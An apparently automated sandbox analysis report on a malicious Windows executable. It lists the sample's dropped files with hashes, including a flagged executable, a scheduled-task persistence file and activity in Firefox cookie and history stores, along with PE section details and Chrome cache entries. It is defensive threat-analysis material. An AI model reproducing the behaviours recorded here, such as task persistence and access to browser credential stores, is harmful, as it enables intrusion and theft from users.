Entropy (8bit):	3.9841674402915737
Encrypted:	false
SSDEEP:	48:8+0dhTJleHPeidAKZdA1UehBiZUk1W1qeh6y+C:8+u/8k9ay
MD5:	871FD1A4D13B799D504BAE7709246080
SHA1:	716522AC67B499C02AF9E5823736CA92747C07FA
SHA-256:	E0AF76C40C4665C905580C31B41231E40921F3473A42422FA576D2CE3BBBD4B6
SHA-512:	6A341675BF1BE571CEF50C4EA33359AA2671AD30C5563F312812B427EF8F511413E545ED459AAB1F20D479E19491A74ADC78D9D37FBB79C4190803C4D900D8C3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....w..H.?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzYl8...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 06:03:23 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9925212245600483
Encrypted:	false
SSDEEP:	48:8W0dhTJleHPeidAKZdA1duTrehOuTbbiZUk5OjqehOuTb8y+yT+:8Wu/8RTYTbxWOvTb8y7T
MD5:	295D3453A9FE25479D92185FA469EB68
SHA1:	44ED289401AB7C9FD05A15F6026DC7D8448C3691
SHA-256:	157EBE75CDFBFA7E8134B05821A894F83985BB624B7511C55303EF5C752CC82A
SHA-512:	025A32A72A08B06DDB917A15829634EEEA3606990391C6C4D9F2CF05E26F6E13AA95B569CC8FD348ECE02F863227C62C965FCD36D7536B11A8A22F182DE78E1D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......H.?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IzYk8....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzYk8....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzYk8....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzYk8..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzYl8...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............xE.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGCBKFBFCGI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1896960
Entropy (8bit):	7.9477790128088515
Encrypted:	false
SSDEEP:	49152:Gupx0U0i3hd05JJhAm868E10ZUqPVFnalWmvFiUM:7pOAOPJhUFE10ykaUmvFiz
MD5:	A5C1BEDE87AA32763C4260E89488190E
SHA1:	C6AEBC9F05315BA9F7FAB59B47FD661FB4856DB9
SHA-256:	213FEEE2ADF1407723F34322234A1AD83857745E38641909A8B50E0ECFFE2F11
SHA-512:	BCF6C75025BC990FEFF564A49F0D2E6DBB8207C39B374ADCD71F08E2DBA8B67305D0AB4CAD0A3843AE22F9407F6D5FA1819C003A01664787BFAAF337BC558BAA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................@K...........@.................................W...k.......D...................\.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...ovllquoa..... 1.....................@...jwgixeip......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGCBKFBFCGI.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.433086425430335
Encrypted:	false
SSDEEP:	6:Bo2heVX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lB/l/Kldt0:Bo2heR7BQ1CGAFBZgtVB/It0
MD5:	149398C9AAF091301101715C83B92834
SHA1:	FE4D5E8A80455FC408578E1356F1D0BFCE93ACBE
SHA-256:	56D38AA8910811E2ABA6BF28C1231D386476053523A9B2B74D5AC9101D6F350A
SHA-512:	7535A0FD5CEBE8CA00049691946B85B5841EAAD5C556DE74C48D081F330817E44CFA72A5B8CD7A91322EE1E2BA4FD9E4B56F8404093A9E02E5EF04B4149313BA
Malicious:	false
Preview:	.....$.,...C....t.]F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3326)
Category:	downloaded
Size (bytes):	3331
Entropy (8bit):	5.859305884668844
Encrypted:	false
SSDEEP:	96:+UnN0li0Zuqk9VF0sf+08HGcM+9yffffffp:+UI9Z7k9IsG0jcr9s
MD5:	5A52583B5245BE9A40A5ABFE99E5DE59
SHA1:	175EBF58015571FF9B2206F504ECFB593FCB0249
SHA-256:	EC09AD06A6E63813CAB32CCADBEF7034C08A509E3DF20FFAB2E238BFB54EF243
SHA-512:	DFDE0C512283368586149CCB84A6F15A6CD1B228344884070F42AE60E80B1A6C25355D61B949D147A0138FE2B38AE28ADF1EE70ABBC0FE0C465490FED73A55EB
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["okc thunder vs sacramento kings","nvidia stock","general hospital spoilers lulu","rocket launch spacex falcon 9","monopoly go fortune feast rewards","recap dune prophecy episode 2","dogecoin price prediction","uconn women basketball"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wNWtsMWQ1Eg9CYXNrZXRiYWxsIHRlYW0yrg1kYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQXdDQU1BQUFDV2xZd3RBQUFCRVZCTVZFV2lxYTJqcXE2bHJMRC8vLytocTYra3JyRUFEelVNSXorZ3JiR29yN0lBRmpnQUNqS1FYbW1qZTRJQUFDc0FBQzF0T0V1U1kyNEFJejhBSHowQUd6cnY4UEdnZEgxNlExUzBvYVVZRkRiS2k1QkVUMkM1bUoxMWU0WXhQbExkM3VBZUxrYkZ4OHU1dk1HdGk1RWhEak5nRmpTbWMzdFZYMjJRbUo1OGhJeVpvS1crV21TdHBLaTBUbG1nTVVLOWhJcE5RRk5SVkdSQ0dqaTViSFNHRFMyTUpEcWxTVmJPMU5kMkJDdThqcE40YW5kT0FDMDZFREpNRERBZ

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.435061533581127
Encrypted:	false
SSDEEP:	3072:fBkXyPqO7UX1Hme9kZbs4Voc58SnXqwQ2i6o:f6yWFHrp4Voc58SnawQ8o
MD5:	BF0F51AAA7B6CBC02C51CEF0D39590C4
SHA1:	28D9BE3E69569C9E60B29231BC09B818089188E7
SHA-256:	87B5C5769C2E825E1FE2126FDA9B7C81E75AE50145C50005D95531DE6EA7068A
SHA-512:	3F6F048B86750CE41311B5BB443092E8386F51614D536C2F613E777CB20E8E2C9AFEB67E50BCAD5AB8159627887FEC052A258EDD09436DB49E2CB9FCC974F216
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943759773093683
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'747'968 bytes
MD5:	39150cb5924999ed343818b23d52319f
SHA1:	5e32677c6eb3e4abd9400645e5c79601e3379964
SHA256:	a02e0441ef8f1c4768bf648c73f2a3210828a6f62836acbf73a3c93bae91747a
SHA512:	c0d48d9a6fe6cf508e800023b7aa76dfa85a337967ba2fc5a2e5b4c0060b00799d0ac2a5a41f7206f7ab4dd09606c4923a12f57c9e31ce31facc7d99394e32aa
SSDEEP:	49152:Cet9kKkybAPv/oSi8cDPZrmosVxWNU5M:/bHkyuHk8czQos/UAM
TLSH:	578533A1F9638D0AC1738D7914B8C4973D24E95360335D1AF2F289349E232A6FDB6B74
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa71000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEA38D9768Ah
jp 00007FEA38D976A0h
add byte ptr [eax], al
jmp 00007FEA38D99685h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0B00000Ah], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	8536399b404fb73b20ee12d8a0f75672	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	dadcc812ed7b0a823a5a3f6c02b594f7	False	0.796875	data	6.054208964635618	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x293000	0x200	62e752561be1781c247ea07e6c1083d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dvnombim	0x4df000	0x191000	0x190c00	f33b89654cfe99d8f49d5b2944d8b209	False	0.9942454089987524	data	7.953179584257686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jpjchxzt	0x670000	0x1000	0x600	dc62b603c8ce234633630513721bf295	False	0.58203125	data	5.016408569388635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x671000	0x3000	0x2200	4f313072240fdca9c385fc3680835d2d	False	0.06594669117647059	DOS executable (COM)	0.7587258555781341	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x66f7c8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
